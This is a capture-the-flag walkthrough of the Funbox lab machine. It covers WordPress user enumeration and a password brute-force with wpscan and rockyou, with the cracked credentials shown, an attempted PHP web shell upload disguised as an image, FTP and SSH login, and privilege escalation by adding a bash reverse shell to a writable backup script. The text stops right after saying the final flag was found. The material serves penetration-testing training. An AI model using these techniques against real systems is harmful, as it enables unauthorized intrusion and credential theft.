OffensiveSecurity — Funbox Alberto Gómez

With a *nmap* scan we discover several services:

On the website, we can see that it is made with WordPress:

```
Proudly powered by WordPress
```

We can also discover typical WordPress URLs with directory enumeration.

I tried to enumerate with wpscan "wpscan --url http://funbox.fritz.box -e" and found users 'admin' and 'joe'. So, I tried to brute-force them:

```
(kali⊕ kali)-[~]

$\psi$ wpscan --url http://funbox.fritz.box -e -P /usr/share/wordlists/rockyou.txt
```

```
[i] User(s) Identified:

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://funbox.fritz.box/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] joe
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - joe / 12345
[SUCCESS] - admin / iubire
Trying admin / violet Time: 00:00:14 
[**] Valid Combinations Found:
| Username: joe, Password: 12345
| Username: admin, Password: iubire
```

Found valid credentials for both users.

I logged in into the web application with 'joe' user and tried to upload a PHP web shell hidden inside an image, but it didn't work. The application has good protection invalidating the PHP extension of the file on the server side.

```
File name: reverse-shell-image.php_.gif
File type: image/gif
Uploaded on: July 7, 2023
File size: 5 KB
Dimensions: 15370 by 28735 pixels
```

I tried 'joe:12345' on FTP and it worked, but wouldn't let me download any file:

```
-(<mark>kali®kali</mark>)-[/usr/share/webshells/php]
ftp 192.168.241.77
Connected to 192.168.241.77.
220 ProFTPD Server (Debian) [192.168.241.77]
Name (192.168.241.77:kali): joe
331 Password required for joe
Password:
230 User joe logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls:
229 Entering Extended Passive Mode (|||48544|)
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 root root 33 Jul 7 11:44 local.txt
-rw---- 1 joe joe 998 Jul 18 2020 mbox
226 Transfer complete:
ftp> get local.txt
local: local.txt remote: local.txt
ftp: Can't access `local.txt': Permission denied
```

Then I tried to SSH and in worked. Giving me access to the user's home directory and to the first flag:

```
joe@funbox:~$ ls
local.txt mbox
joe@funbox:~$ cat local.txt
af187232ae4d62686123a508bc385453
```

Next, checking the content of 'mbox' file, I discover something about a backup script.

Looking for *backup* files I found a hidden file on a 'funny' user:

```
joe@funbox:~$ find / -type f -name "*backup*"
find: '/sys/kernel/tracing': Permission denied
find: '/sys/kernel/debug': Permission denied
find: '/sys/fs/pstore': Permission denied
find: '/sys/fs/bpf': Permission denied
find: '/lost+found': Permission denied
/home/funny/.backup.sh
find: '/home/tunny/.cache': Permission denied
```

We can see that we have full permissions on that file. Let's modify it to launch a reverse shell:

```
joe@funbox:/home/funny$ cat .backup.sh
#!/bin/bash
tar -cf /home/funny/html.tar /var/www/html
bash -i >& /dev/tcp/192.168.45.210/8888 0>&1
```

Then, we start a listener on the attacker machine and execute the ".backup.sh" script:

Got connection to the shell and found the final flag: